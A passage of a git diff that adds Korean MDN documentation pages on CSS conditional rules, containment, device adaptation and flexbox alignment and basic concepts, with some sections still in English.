+ <li><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a> (CSS 플렉스박스)</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+</ul>
diff --git a/files/ko/web/css/css_conditional_rules/index.html b/files/ko/web/css/css_conditional_rules/index.html
new file mode 100644
index 0000000000..22576d5256
--- /dev/null
+++ b/files/ko/web/css/css_conditional_rules/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS Conditional Rules
+slug: Web/CSS/CSS_Conditional_Rules
+tags:
+ - CSS
+ - CSS Conditional Rules
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Conditional_Rules
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Conditional Rules</strong>는 프로세서 또는 스타일 시트에 적용되는 문서의 기능에만 기반을 두는 규칙 집합을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@document")}}</li>
+ <li>{{cssxref("@media")}}</li>
+ <li>{{cssxref("@supports")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional')}}</td>
+ <td>{{Spec2('CSS3 Conditional')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_containment/index.html b/files/ko/web/css/css_containment/index.html
new file mode 100644
index 0000000000..bbfe8f3e7c
--- /dev/null
+++ b/files/ko/web/css/css_containment/index.html
@@ -0,0 +1,123 @@
+---
+title: CSS Containment
+slug: Web/CSS/CSS_Containment
+translation_of: Web/CSS/CSS_Containment
+---
+<p>{{CSSRef}}<br>
+ CSS Containment 사양의 목표는 개발자가 페이지의 하위 트리(subtree)를 페이지의 나머지 부분과 분리할 수 있도록 하여 웹 페이지의 성능을 향상시키는 것입니다. 브라우저가 페이지의 일부가 독립적임을 인식하면 렌더링을 최적화 하고 성능을 개선 할 수 있습니다. 사양은 단일 CSS 속성(property) {{cssxref("contain")}}을 정의합니다. 이 문서는 사양의 기본 목표를 설명합니다.</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>많은 웹 페이지에는 서로 독립적인 여러 섹션이 포함되어 있습니다. 예를들면 아래 마크업에서와 같이 아티클, 헤드라인, 콘텐츠 로 이루어진 목록입니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+ &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+ &lt;p&gt;Content here.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+ &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+ &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>각 아티클에는 CSS에서 {{cssxref("contain")}} 속성의 값으로 <code>content</code> 가 적용되어 있습니다.</p>
+
+<pre class="brush: css notranslate">article {
+ contain: content;
+}</pre>
+
+<p>각 아티클은 페이지의 다른 아티클과 독립적이므로 브라우저에 이러한 사실을 알리기 위해 <code>contain: content</code>가 포함되어 있습니다. 그러면 브라우저는 이 정보를 사용하여 컨텐츠를 렌더링하는 방법을 결정할 수 있습니다. 예를들어 볼 수 있는 영역 밖에있는 아티클은 렌더링하지 않을 수 있습니다. </p>
+
+<p>각 <code>&lt;article&gt;</code> 에 <code>contain</code> 속성의 값을 <code>content</code> 로 제공하면, 새 요소(element)가 삽입될 때 브라우저는 containing 요소들의 하위 트리 외부 영역을 relayout(reflow)하거나 repaint 할 필요가 없음을 인식합니다. <code>&lt;article&gt;</code> 이 내용에 따라 크기가 달라지도록 스타일을 지정하더라도(예: <code>height: auto</code>), 브라우저는 크기 변경을 고려해야 할 수 있습니다.</p>
+
+<p>우리는 <code>contain</code> 속성을 통해 각 아티클이 독립적이라고 말했습니다.</p>
+
+<p><code>content</code> 값은 <code>contain: layout paint</code>의 약어입니다. 브라주어에 요소의 내부 레이아웃이 페이지의 나머지 부분과 완전히 분리되어 있으며, 요소에 대한 모든 것이 경계 내부에 그려져 있음을 알려줍니다. overflow되어 보이는 것이 없습니다.</p>
+
+<p>이 정보는 페이지를 작성하는 웹 개발자에게 일반적으로 알려져 있으며, 사실 매우 분명합니다. 그러나 브라우저는 귀하의 의도를 추측할 수 없고, 아티클이 완전히 독립적일 것이라고 가정할 수 없습니다. 따라서 이 속성은 브라우저에게 이 사실을 설명하고, 그 정보를 기반으로 성능 최적화를 수행할 수 있는 좋은 방법을 제공합니다.</p>
+
+<h2 id="주요_개념_및_용어">주요 개념 및 용어</h2>
+
+<p>이 사양은 오로지 {{cssxref("contain")}} 이라는 하나의 속성(property)만 정의합니다. 이 속성의 값은 해당 요소에 적용 할 포함 유형을 나타냅니다.</p>
+
+<h3 id="Layout_containment">Layout containment</h3>
+
+<pre class="brush: css notranslate">article {
+ contain: layout;
+}</pre>
+
+<p>Layout 은 일반적으로 전체 문서로 범위가 지정됩니다. 즉, 하나의 요소를 이동하면 전체 문서를 다른 곳으로 이동할 수 있는 것처럼 처리해야 합니다. 그러나 <code>contain: layout</code> 을 사용하면 브라우저에 이 요소만 확인하면 된다고 알려줄 수 있습니다. 요소 내부의 모든 항목은 해당 요소로 범위가 지정되고, 페이지의 나머지 부분에는 영향을 주지 않습니다. 그리고 containing box는 독립적인 formatting context를 설정합니다.</p>
+
+<p>추가사항</p>
+
+<ul>
+ <li><code>float</code> 레이아웃은 독립적으로 수행됩니다.</li>
+ <li>Margin 이 layout containment 경계를 가로질러 병합(collapse)되지 않습니다.</li>
+ <li>layout 컨테이너는 position: <code>absolute</code>/<code>fixed</code> 의 하위 항목에 대한 containing block이 됩니다.</li>
+ <li>containing box는 stacking context를 생성합니다. 따라서 {{cssxref("z-index")}} 를 사용할 수 있습니다.</li>
+</ul>
+
+<h3 id="Paint_containment">Paint containment</h3>
+
+<pre class="brush: css notranslate">article {
+ contain: paint;
+}</pre>
+
+<p>Paint containment 는 기본적으로 박스를 주요 박스(principal box)의 패딩 경계에 클립(clip - 맞춰서 채우기)합니다. overflow되어 보이는 것이 없습니다. <code>paint</code> containment 도 <code>layout</code> containment 와 마찬가지입니다. (위 참조).</p>
+
+<p>또다른 장점은 containing box가 화면 밖에 있으면, 브라우저가 contained 요소를 paint 할 필요가 없다는 것입니다. 이 때 요소가 box에 포함되어 있으므로 화면에 표시되지 않아야 합니다.</p>
+
+<h3 id="Size_containment">Size containment</h3>
+
+<pre class="brush: css notranslate">article {
+ contain: size;
+}</pre>
+
+<p>Size containment 는 자체적으로 사용될 때 성능 최적화 방법을 많이 제공하지 않습니다. 그러나 이는 요소의 자식 크기가 요소 자체의 크기에 영향을 줄 수 없음을 의미합니다. 요소의 크기는 자식이 존재하지 않는 것처럼 계산됩니다.</p>
+
+<p><code>contain: size</code> 를 적용하면, 이를 적용한 요소의 크기도 지정해야 합니다. 수동으로 크기를 지정하지 않으면, 대부분의 경우 크기가 0이 됩니다.</p>
+
+<h3 id="Style_containment">Style containment</h3>
+
+<pre class="brush: css notranslate">article {
+ contain: style;
+}</pre>
+
+<p>style containment 는 이름에도 불구하고 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>에서 얻을 수 있는 범위(scope) 스타일을 제공하지 않습니다. 주요 사용 사례는, 요소에서 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS Counter</a> 가 변경되어 나머지 트리에 영향을 미칠 수 있는 상황을 방지하는 것입니다.</p>
+
+<p><code>contain: style</code> 을 사용하면 {{cssxref("counter-increment")}} 와 {{cssxref("counter-set")}} 속성이 해당 하위 트리로만 범위가 지정된 새 카운터를 만들 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>style</code> containment 는 사양에서 "at-risk" 이며, 모든 곳에서 지원하지 않을 수 있습니다(현재 파이어폭스는 지원하지 않음).</p>
+</div>
+
+<h3 id="Special_values">Special values</h3>
+
+<p>contain 에는 두 가지 특수한 값이 있습니다.</p>
+
+<ul>
+ <li><code>content</code></li>
+ <li><code>strict</code></li>
+</ul>
+
+<p>위의 예에서 첫 번째를 만났습니다. <code>contain: content</code> 는 <code>layout</code> 과 <code>paint</code> containment를 모두 활성화합니다. 사양에서는 이 값을 "광범위하게 적용하기에 합리적으로 안전" 하다고 설명합니다. <code>size</code> containment 를 적용하지 않으므로 자식의 크기에 의존하고, 때문에 박스 크기가 0이 될 위험이 없습니다.</p>
+
+<p>가능한 많은 containment 를 얻으려면 <code>contain: strict</code> 를 사용할 수 있습니다. 이는 <code>contain: size layout paint</code> 와 같습니다. 또는 <code>style</code> containment 를 지원하는 브라우저에서는 다음과 같이 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">contain: strict;
+contain: strict style;</pre>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<ul>
+ <li>{{cssxref("contain")}}</li>
+</ul>
+
+<h2 id="External_resources">External resources</h2>
+
+<ul>
+ <li><a href="https://blogs.igalia.com/mrego/2019/01/11/an-introduction-to-css-containment/">An Introduction to CSS Containment</a></li>
+ <li><a href="https://dev.opera.com/articles/css-will-change-property">Everything You Need to Know About the CSS <code>will-change</code> Property</a></li>
+</ul>
diff --git a/files/ko/web/css/css_device_adaptation/index.html b/files/ko/web/css/css_device_adaptation/index.html
new file mode 100644
index 0000000000..bd55f655bc
--- /dev/null
+++ b/files/ko/web/css/css_device_adaptation/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Device Adaptation
+slug: Web/CSS/CSS_Device_Adaptation
+tags:
+ - CSS
+ - CSS Device Adaptation
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Device_Adaptation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Device Adapation</strong>은 뷰포트의 크기, 줌 배율(factor) 및 방향을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@viewport")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Device")}}</td>
+ <td>{{Spec2("CSS3 Device")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
new file mode 100644
index 0000000000..677cf2fdaf
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
@@ -0,0 +1,211 @@
+---
+title: Aligning Items in a Flex Container
+slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">flexbox가 웹 개발자들의 관심 받게된 이유 중 하나는 웹 최초로 최초로 적절한 정렬 기능을 제공했기 때문입니다. flexbox의 수직 정렬 기능을 이용하여 우리는 드디어 쉽게 박스(역주: 여기서 박스는 <strong>flex 컨테이너</strong>를 의미합니다)  내부를 중앙 정렬 할 수 있게 되었습니다. 이 가이드에서 우리는 flexbox의 정렬 및 끝 마추기 기능에 대해 자세히 살펴볼 것입니다.</p>
+
+<p>박스 내부를 중앙 정렬 하기 위해 박스에 <code>align-items</code> 속성을 지정하면 교차 축에 대해 flex 항목을 정렬할 수 있습니다. 아래 경우, 교차 축은 수직 축입니다. <code>justify-content</code> 속성을 지정하면 flex 항목을 주축에 대해 정렬 할 수 있습니다. 아래 경우, 주축은 수평 방향입니다.</p>
+
+<p><img alt="A containing element with another box centered inside it." src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
+
+
+
+<p>아래 예제의 코드를 살펴보세요. flex 컨테이너(역주: .box로 지정된 div 태그)나 flex 항목(역주:  .box div로 지정된 div 태그)의 크기를 조절해도 flex 컨테이너 내부는 중앙 정렬됨을 보실 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="정렬_제어용_속성_목록">정렬 제어용 속성 목록</h2>
+
+<p>이 글에서 살펴볼 속성들은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{cssxref("justify-content")}} — 주축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.</li>
+ <li>{{cssxref("align-items")}} — 교차축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.</li>
+ <li>{{cssxref("align-self")}} — 개별 flex 항목을 교차 축에 대해 정렬 하는 방식을 제어. flex 항목에 지정하는 속성.</li>
+ <li>{{cssxref("align-content")}} — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.</li>
+</ul>
+
+<p>또한, 이글에서 flexbox기반 정렬에서 margin 속성 값이 어떨게 쓰이는지 살펴볼 것입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The alignment properties in Flexbox have been placed into their own specification — <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. It is expected that this spec will ultimately supersede the properties as defined in Flexbox Level One.</p>
+</div>
+
+<h2 id="교차축">교차축</h2>
+
+<p><code>align-items</code>와 <code>align-self</code> 속성들은 flex 항목들을 교차축으로 정렬하는 것을 제어합니다. 만약, <code>flex-direction</code>이 <code>row</code>로 설정되어있다면 열 (column) 아래로 정렬을 하게되고, <code>flex-direction</code>이 <code>column</code>으로 설정되어있다면 행 (row)을 따라 정렬됩니다. </p>
+
+<p>가장 간단한 flex예시는 교차축을 이용합니다. <code>display: flex</code>를 컨테이너에 추가하게되면, 모든 자식 항목들이 열 (row), 즉 가로 방향으로 정렬이 되는 flex 항목이 됩니다. 이 경우 가장 큰 y축의 크기, 즉 높이가 가장 큰 자식 항목이 교차축의 높이를 정의하게 되고, 나머지 자식 항목들은 이 높이에 맞추어 높이가 늘어나게 됩니다. 만약 flex 컨테이너의 높이가 지정이 되어있다면, 자식 항목 내용에 상관없이 지정된 높이 만큼 모든 자식 항목들이 늘어나게됩니다. </p>
+
+<p><img alt="Three items, one with additional text causing it to be taller than the others." src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
+
+<p><img alt="Three items stretched to 200 pixels tall" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
+
+<p>모든 항목들이 같은 높이를 갖게되는 이유는 교차축을 중심으로 정렬을 제어하는 속성인 <code>align-items</code>에 지정된 초기값이 <code>stretch</code>로 설정이 되어있기 때문입니다. </p>
+
+<p>이외에도 다른 값을 지정해서 항목들이 정렬되는 방식을 다르게 정의 할 수 있습니다:</p>
+
+<ul>
+ <li><code>align-items: flex-start</code></li>
+ <li><code>align-items: flex-end</code></li>
+ <li><code>align-items: center</code></li>
+ <li><code>align-items: stretch</code></li>
+ <li><code>align-items: baseline</code></li>
+</ul>
+
+<p>아래의 예시를 보면, <code>align-items</code>값이 <code>stretch</code>로 지정이 되어있습니다. 여기에 다른 값들을 넣어서 항목들이 flex 컨테이너 안에서 어떻게 정렬이 되는지 확인해보세요.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
+
+<h3 id="align-self로_항목_한_개를_정렬하기"><code>align-self</code>로 항목 한 개를 정렬하기</h3>
+
+<p>The <code>align-items</code> property sets the <code>align-self</code> property on all of the flex items as a group. This means you can explicitly declare the <code>align-self</code> property to target a single item. The <code>align-self</code> property accepts all of the same values as <code>align-items</code> plus a value of <code>auto</code>, which will reset the value to that which is defined on the flex container.</p>
+
+<p>In this next live example, the flex container has <code>align-items: flex-start</code>, which means the items are all aligned to the start of the cross axis. I have targeted the first item using a <code>first-child</code> selector and set that item to <code>align-items: stretch</code>; another item has been selected using its class of <code>selected</code> and given <code>align-self: </code><code>center</code>. You can change the value of <code>align-items</code> or change the values of <code>align-self</code> on the individual items to see how this works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
+
+<h3 id="Changing_the_main_axis">Changing the main axis</h3>
+
+<p>So far we have looked at the behaviour when our <code>flex-direction</code> is <code>row</code>, and while working in a language written top to bottom. This means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
+
+<p>If we change our <code>flex-direction</code> to column, <code>align-items</code> and <code>align-self</code> will align the items to the left and right.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
+
+<p>You can try this out in the example below, which has a flex container with <code>flex-direction: column</code> yet otherwise is exactly the same as the previous example.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} </p>
+
+<h2 id="Aligning_content_on_the_cross_axis_—_the_align-content_property">Aligning content on the cross axis — the align-content property</h2>
+
+<p>So far we have been aligning the items, or an individual item inside the area defined by the flex-container. If you have a wrapped multiple-line flex container then you might also want to use the <code>align-content</code> property to control the distribution of space between the rows. In the specification this is described as <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">packing flex lines</a>.</p>
+
+<p>For <code>align-content</code> to work you need more height in your flex container than is required to display the items. It then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it.</p>
+
+<p>The <code>align-content</code> property takes the following values:</p>
+
+<ul>
+ <li><code>align-content: flex-start</code></li>
+ <li><code>align-content: flex-end</code></li>
+ <li><code>align-content: center</code></li>
+ <li><code>align-content: space-between</code></li>
+ <li><code>align-content: space-around</code></li>
+ <li><code>align-content: stretch</code></li>
+ <li><code>align-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>In the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. The value of <code>align-content</code> is <code>space-between</code>, which means that the available space is shared out <em>between</em> the flex lines, which are placed flush with the start and end of the container on the cross axis.</p>
+
+<p>Try out the other values to see how the <code>align-content</code> property works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
+
+<p>Once again we can switch our <code>flex-direction</code> to <code>column</code> in order to see how this property behaves when we are working by column. As before, we need enough space in the cross axis to have some free space after displaying all of the items.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
+
+<div class="note">
+<p><strong>Note</strong>: the value <code>space-evenly</code> is not defined in the flexbox specification and is a later addition to the Box Alignment specification. Browser support for this value is not as good as that of the values defined in the flexbox spec.</p>
+</div>
+
+<p>See the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content">documentation for <code>justify-content</code> on MDN</a> for more details on all of these values and browser support.</p>
+
+<h2 id="Aligning_content_on_the_main_axis">Aligning content on the main axis</h2>
+
+<p>Now that we have seen how alignment works on the cross axis, we can take a look at the main axis. Here we only have one property available to us — <code>justify-content</code>. This is because we are only dealing with items as a group on the main axis. With <code>justify-content</code> we control what happens with available space, should there be more space than is needed to display the items.</p>
+
+<p>In our initial example with <code>display: flex</code> on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of <code>justify-content</code> being <code>flex-start</code>. Any available space is placed at the end of the items.</p>
+
+<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>The <code>justify-content</code> property accepts the same values as <code>align-content</code>.</p>
+
+<ul>
+ <li><code>justify-content: flex-start</code></li>
+ <li><code>justify-content: flex-end</code></li>
+ <li><code>justify-content: center</code></li>
+ <li><code>justify-content: space-between</code></li>
+ <li><code>justify-content: space-around</code></li>
+ <li><code>justify-content: stretch</code></li>
+ <li><code>justify-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>In the example below, the value of <code>justify-content</code> is <code>space-between</code>. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} </p>
+
+<p>If the main axis is in the block direction because <code>flex-direction</code> is set to <code>column</code>, then <code>justify-content</code> will distribute space between items in that dimension as long as there is space in the flex container to distribute.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} </p>
+
+<h3 id="Alignment_and_Writing_Modes">Alignment and Writing Modes</h3>
+
+<p>Remember that with all of these alignment methods, the values of <code>flex-start</code> and <code>flex-end</code> are writing mode-aware. If the value of <code>justify-content</code> is <code>start</code> and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.</p>
+
+<p><img alt="Three items lined up on the left" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.</p>
+
+<p><img alt="Three items lined up from the right" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>The live example below has the <code>direction</code> property set to <code>rtl</code> to force a right-to-left flow for our items. You can remove this, or change the values of <code>justify-content</code> to see how flexbox behaves when the start of the inline direction is on the right.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
+
+<h2 id="Alignment_and_flex-direction">Alignment and flex-direction</h2>
+
+<p>The start line will also change if you change the <code>flex-direction</code> property — for example using <code>row-reverse</code> instead of <code>row</code>.</p>
+
+<p>In this next example I have items laid out with <code>flex-direction: row-reverse</code> and <code>justify-content: flex-end</code>. In a left to right language the items all line up on the left. Try changing <code>flex-direction: row-reverse</code> to <code>flex-direction: row</code>. You will see that the items now move to the right hand side.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
+
+<p>While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. <code>flex-start</code> will be where the start of a sentence of text would begin.</p>
+
+<p><img alt="Diagram showing start on the left and end on the right." src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>You can switch them to display in the block direction for the language of your document by selecting <code>flex-direction: column</code>. Then <code>flex-start</code> will then be where the top of your first paragraph of text would start.</p>
+
+<p><img alt="Diagram showing start at the top and end at the bottom." src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. <code>flex-start</code> will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.</p>
+
+<p><img alt="Diagram showing start on the right and end on the left." src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Diagram showing end at the top and start at the bottom" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<h2 id="Using_auto_margins_for_main_axis_alignment">Using auto margins for main axis alignment</h2>
+
+<p>We don’t have a <code>justify-items</code> or <code>justify-self</code> property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.</p>
+
+<p>A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a <code>justify-self</code> property, however consider the image below. I have three items on one side and two on the other. If I were able to use <code>justify-self</code> on item <em>d</em>, it would also change the alignment of item <em>e</em> that follows, which may or may not be my intention.</p>
+
+<p><img alt="Five items, in two groups. Three on the left and two on the right." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
+
+<p>Instead we can target item 4 and separate it from the first three items by giving it a <code>margin-left</code> value of <code>auto</code>. Auto margins will take up all of the space that they can in their axis — it is how centering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.</p>
+
+<p>In this live example, I have flex items arranged simply into a row with the basic flex values, and the class <code>push</code> has <code>margin-left: auto</code>. You can try removing this, or adding the class to another item to see how it works.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
+
+<h2 id="Future_alignment_features_for_Flexbox">Future alignment features for Flexbox</h2>
+
+<p>At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the <code>space-evenly</code> value for <code>align-content</code> and <code>justify-content</code> properties.</p>
+
+<p>The Box Alignment module also includes other methods of creating space between items, such as the <code>column-gap</code> and <code>row-gap</code> feature as seen in <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. The inclusion of these properties in Box Alignment means that in future we should be able to use <code>column-gap</code> and <code>row-gap</code> in flex layouts too, and in Firefox 63 you will find the first browser implementation of the gap properties in flex layout.</p>
+
+<p>My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, and I have also compared how alignment works in these specifications in my <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">Box Alignment in Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">Box Alignment in Grid Layout</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html b/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html
new file mode 100644
index 0000000000..1966114608
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html
@@ -0,0 +1,236 @@
+---
+title: flexbox의 기본 개념
+slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">일명 flexbox라 불리는 Flexible Box module은 flexbox 인터페이스 내의 아이템 간 공간 배분과 강력한 정렬 기능을 제공하기 위한 1차원 레이아웃 모델 로 설계되었습니다. 이 글에서는 flexbox의 주요 기능에 대한 개요를 다룹니다. 더 자세한 내용은 가이드의 다른 글에서 탐구하게 될 것입니다.</p>
+
+<p>flexbox를 1차원이라 칭하는 것은, 레이아웃을 다룰 때 한 번에 하나의 차원(행이나 열)만을 다룬다는 뜻입니다. 이는 행과 열을 함께 조절하는 <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a>의 2차원 모델과는 대조됩니다.</p>
+
+<h2 id="flexbox의_두_개의_축">flexbox의 두 개의 축</h2>
+
+<p>flexbox를 다루려면 주축과 교차축이라는 두 개의 축에 대한 정의를 알아야 합니다. 주축은 {{cssxref("flex-direction")}} 속성을 사용하여 지정하며 교차축은 이에 수직인 축으로 결정됩니다. flexbox의 동작은 결국 이 두 개의 축에 대한 문제로 환원되기 때문에 이들이 어떻게 동작하는지 처음부터 이해하는 것이 중요합니다.</p>
+
+<h3 id="주축">주축</h3>
+
+<p>주축은 <code>flex-direction</code>에 의해 정의되며 4개의 값을 가질 수 있습니다:</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p><code>row</code> 혹은 <code>row-reverse</code>를 선택하면 주축은 <strong>인라인 방향</strong>으로 행을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to row the main axis runs along the row in the inline direction." src="https://mdn.mozillademos.org/files/15614/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p><code>column</code> 혹은 <code>column-reverse</code> 을 선택하면 주축은 페이지 상단에서 하단으로 <strong>블록 방향</strong>을 따릅니다.</p>
+
